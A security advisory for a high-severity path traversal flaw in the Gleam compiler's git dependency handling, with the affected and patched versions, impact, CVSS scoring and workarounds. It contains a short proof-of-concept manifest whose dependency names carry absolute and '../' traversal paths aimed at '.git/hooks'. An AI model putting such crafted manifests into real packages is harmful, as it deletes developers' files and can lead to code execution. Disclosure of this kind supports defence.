Improper Path Validation in Git Dependency Handling Allows Arbitrary File System Modification

High **lpil** published **GHSA-vq5j-55vx-wq8j** 3 weeks ago

Package

gleam.run/gleam (sid)

Affected versions

>= 1.9.0-rc1 and < 1.15.4

Patched versions

1.15.4

Description

Description

A path traversal / arbitrary path write vulnerability exists in Gleam's handling of git dependencies. Dependency names from `gleam.toml` and `manifest.toml` are incorporated into filesystem paths without sufficient validation or confinement to the intended dependency directory, allowing attacker-controlled paths (via relative traversal such as ../ or absolute paths) to target filesystem locations outside that directory.

When resolving git dependencies (e.g. via `gleam deps download`), the computed path is used for filesystem operations including directory deletion and creation. As a result, a malicious dependency can cause writes to, or deletion of, arbitrary directories outside the intended dependency directory, including attacker-chosen absolute paths permitted by the operating system and the privileges of the invoking user.

Installing and using untrusted dependencies is inherently risky. In many ecosystems, dependency code may execute during build or compile steps, and such execution can perform arbitrary actions. This is part of the expected trust model when working with dependencies.

However, this issue occurs during the **dependency resolution and download phase**, which is generally expected to be limited to fetching and preparing dependencies within a confined directory. In Gleam, dependency metadata can be processed without executing dependency code, reinforcing the expectation that this step does not modify unrelated parts of the filesystem.

This differs from typical dependency risks, where arbitrary actions occur during build or execution, by enabling filesystem modification during dependency resolution itself.

This vulnerability breaks that expectation by allowing filesystem access outside the dependency directory **without requiring compilation or execution of dependency code**.

An attacker controlling a direct or transitive git dependency, or distributing a repository with a crafted `manifest.toml`, can exploit this issue to overwrite or delete files on the developer's system. In some environments, this may be further leveraged to achieve code execution, for example by modifying executable hooks or startup scripts.

Configurations

The vulnerability affects environments with the following characteristics:

- Use of **git-based dependencies** (direct or transitive)
- Installation or update of dependencies from **untrusted or attacker-controlled sources**

Projects that exclusively use trusted dependencies, or dependencies pinned to known-good revisions (e.g. commit SHAs), reduce exposure but are still at risk if trust assumptions are violated.

Impact

- Arbitrary file and directory **deletion** outside the dependency directory
- Arbitrary file and directory **creation or overwrite** outside the dependency directory
- Potential **destruction of project data** or user files
- Potential **persistence or code execution**, if attacker-controlled files are written to locations that are later executed (e.g. git hooks, shell configuration, build scripts)

The vulnerability affects developers who install or update projects with malicious git dependencies. Exploitation requires user interaction (e.g. running `gleam deps download` on a cloned repository or project), but does not require any privileges on the target system.

PoC

A simplified proof of concept:

1. Create a malicious package with a traversal dependency:

```
# gleam.toml
name = "malicious_package"
version = "1.0.0"

[dependencies]
"/tmp/gleam-poc-target" = { git = "https://example.com/payload.git", ref = "main" }
"../../.git/hooks" = { git = "https://example.com/payload.git", ref = "main" }
```

2. Add the malicious package as a dependency to a victim project:

```
[dependencies]
malicious_package = { git = "https://example.com/malicious_package.git", ref = "ma
```

3. Run:

```
gleam deps download
```

This will resolve the dependency path, delete the targeted directory if it exists, and replace it with attacker-controlled content.

In this example, `.git/hooks` is overwritten, which may result in execution of attacker-controlled code on subsequent `git commit`.

Workarounds

- Avoid using **untrusted git dependencies**, especially without pinning to a specific commit SHA
- Review dependency trees carefully, including **transitive git dependencies**
- Run dependency resolution commands in a **restricted or isolated environment** (e.g. containers)
- Avoid running such commands in repositories containing sensitive data

Credits

- Reported by **@jtdowney**

References

- Fix Commit: `1aa5d8e`

Severity

High 8.3 / 10

CVSS v4 base metrics

Exploitability Metrics

Attack Vector	Local
Attack Complexity	Low
Attack Requirements	None
Privileges Required	None
User interaction	Active

Vulnerable System Impact Metrics	
Confidentiality	None
Integrity	High
Availability	None
Subsequent System Impact Metrics	
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:H/SI:H/SA:H

CVE ID

CVE-2026-32146

Weaknesses

▶ CWE-22

Credits

jtdowney	Remediation developer
lpil	Analyst
maennchen	Coordinator